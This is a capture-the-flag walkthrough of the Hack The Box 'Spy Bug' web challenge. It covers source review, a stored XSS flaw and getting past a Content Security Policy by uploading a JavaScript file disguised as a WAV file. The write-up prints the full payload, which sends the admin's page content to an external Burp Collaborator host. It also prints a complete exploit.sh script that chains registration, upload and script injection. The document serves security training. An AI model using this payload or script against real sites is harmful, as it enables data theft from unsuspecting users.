Spy Bug walkthrough - Cyber Apocalypse 2023
→ 1 Introduction
I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.
This walkthrough covers the Spy Bug challenge in the Web category, which was rated as having a ‘medium’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.
The description of the challenge is shown below.
The key techniques employed in this walkthrough are:
- manual source code review
- Stored XSS (Cross-site scripting) vulnerability analysis and exploitation
- CSP (Content Security Policy) bypass via unrestricted file upload
- Exfiltration of sensitive data to an external URL
→ 2 Mapping the application
→ 2.1 Mapping the application via interaction
-
The target website was opened in the Burp browser, which redirected to a login form at
/panel/login
→ 2.2 Mapping the application via source code review
-
Manual review of the server side source code indicated a successful login would redirect to
/panel
-
If the authenticated username is
admin
, thepanel
sets the rendered username to the flag obtained from an environment variable
→ 3 Vulnerability analysis
→ 3.1 A strong admin password is in use
-
On line 11 in
database.js
, theadmin
password is sourced from anADMIN_SECRET
environment variable and stored in the database as a bcrypt password hash. As bcrypt is a secure password hashing algorithm, the password is not expected to be vulnerable to brute force attacks unless the value ofADMIN_SECRET
is weak, albeit the work factor is also not explicitly set by the code and the default work factor was not investigated within the scope of this walkthrough. -
The value of
ADMIN_SECRET
was found to be generated as a cryptographically pseudorandom 32 character alphanumeric string, and is thus not considered to be a weak value.
→ 3.2 XSS (Cross-site scripting) vulnerability identification
-
The
panel.pug
view template rendered by the/panel
route was found to contain two noticeable aspects-
The template renders the username to the output. As previously identified, the username value will be the flag if the authenticated user is
admin
-
The template contains a potential XSS vulnerability which corresponds to the common weakness CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’). This arises due to the use of the pug unescaped string interpolation syntax of
!{...}
when displaying agent properties. A good reference for mitigating this type of vulnerability is the OWASP Cross Site Scripting Prevention Cheat Sheet.However, this attack vector is limited by the CSP (Content Security Policy) header set application wide in
index.js
. Specifically, script-src is set to self which restricts scripts to only be loaded from the same origin. In particular, inline scripts will not be loaded.The presence of the CSP header in the HTTP responses was also confirmed
-
→ 3.3 adminbot visits the admin page every 60 seconds
A bot is implemented which logs into the admin page once every 60 seconds, simulating a human user who regularly logs into the application. This is notable, as the XSS vulnerability identified above is a client side vulnerability that requires a victim user to trigger the payload.
-
The bot is defined in
adminbot.js
-
The admin bot is scheduled to run every 60 seconds in
index.js
→ 3.4 Identifying the agent properties as attacker controllable
In order to determine whether the agent properties rendered in
panel.pug
are attacker controllable two, notable routes
were identified
-
GET
/agents/register
allows self-registration of agents, delegating todatabase.js
to generate, persist and return a uniqueagentId
andagentToken
-
POST
/agents/details/:identifier/:token
allows a registered agent to persisthostname
,platform
andarch
attributes, the very same details thatpanel.pug
renders unsafely. Due to the presence of persistence, this indicates the previously identified XSS vulnerability is a Stored XSS vulnerability.
→ 3.5 CSP bypass identification
POST /agents/upload/:identifier/:token
allows uploading
of a file to the server, where the only restriction on the content is
that it must contain, in hex encoding, a sequence matching the regex
/52494646[a-z0-9]{8}57415645/g
. multer
is used for the uploading and the filename is auto generated, before
being returned in the response.
The sole reliance on a weak regex validation rule gives rise to an arbitrary file upload vulnerability, which is an instance of the common weakness CWE-434: Unrestricted Upload of File with Dangerous Type. A good reference for mitigating this type of vulnerability is the OWASP File Upload Cheat Sheet.
→ 3.6 Attack chain hypothesis
Given the observations above, the following attack chain was hypothesized
-
Use the
/agents/register
endpoint to register a new agent to obtain anagentId
andagentToken
-
Use the
agentId
andagentToken
to upload a file that passes the weak validation performed by the/agents/upload/:identifier/:token
route but which actually contains executable client side JavaScript. This JavaScript would extract the flag from the admin page and exfiltrate it to an attacker controlled endpoint. -
POST details to the
/agents/details/:identifier/:token
where one of thehostname
,platform
orarch
fields contains an HTML script element that sources the file uploaded from the previous step.
→ 4 Exploitation
-
The JavaScript payload to be uploaded to
/agents/details/:identifier/:token
was crafted in a new file,poison.wav
, shown below.-
Lines 2-3 read the text content from the
h2
element on the page which contains the flag when viewed by theadmin
user. - Lines 4-7 append the flag to an img URL and appends the img to the page body. The img URL is an external Burp Collaborator endpoint.
-
The final line contains a JavaScript comment and binary bytes
matching the header of a WAV file, which was obtained from the start of
challenge/agent/rec.wav
provided with the challenge.
console.log('executed'); h2=document.getElementsByTagName('h2')[0]; flagtext=h2.textContent; img=document.createElement('img'); img.src='http://hav3msodo1zy77pj8yeiyjli59b0zrng.oastify.com/'+encodeURIComponent(flagtext); body=document.getElementsByTagName('body')[0]; body.append(img); //RIFF/*WAVEfmt Ȕ
$ tail -1 poison.wav|xxd 00000000: 2f2f 5249 4646 2f2a 1600 5741 5645 666d //RIFF/*..WAVEfm 00000010: 7420 1000 0000 0100 0200 c280 c2bb 0000 t .............. 00000020: 00c3 ae0a ....
-
Lines 2-3 read the text content from the
-
To make exploitation more easily reproducible, an
exploit.sh
shell script was written. Verbose comments have been included to document the script.#!/usr/bin/zsh # Target to deliver the exploit to target='165.232.100.46:32462' # register a new agent and obtain the agent identifier and token registration=$(curl -s --proxy 127.0.0.1:8080 http://$target/agents/register) agent_identifier=$(echo $registration | jq -r .identifier) agent_token=$(echo $registration | jq -r .token) # upload javascript file (poison.wav) to be served from the same origin as the application js_file=$(curl -s --proxy 127.0.0.1:8080 -F 'recording=@poison.wav;type=audio/wave' "http://$target/agents/upload/$agent_identifier/$agent_token") echo "uploaded js to http://$target/uploads/$js_file" # upload HTML in the 'hostname' agent details to source the javascript file, thus achieving XSS payload="<script src='/uploads/$js_file'></script>" curl --proxy 127.0.0.1:8080 -X POST -H 'Content-Type: application/json' --data-raw "{\"hostname\":\"$payload\",\"platform\":\"htb\",\"arch\":\"htb\"}" "http://$target/agents/details/$agent_identifier/$agent_token"
-
After execution of
exploit.sh
, a callback to Burp Collaborator was observed with the flag in the URL path
→ 5 Conclusion
The flag was submitted and the challenge was marked as pwned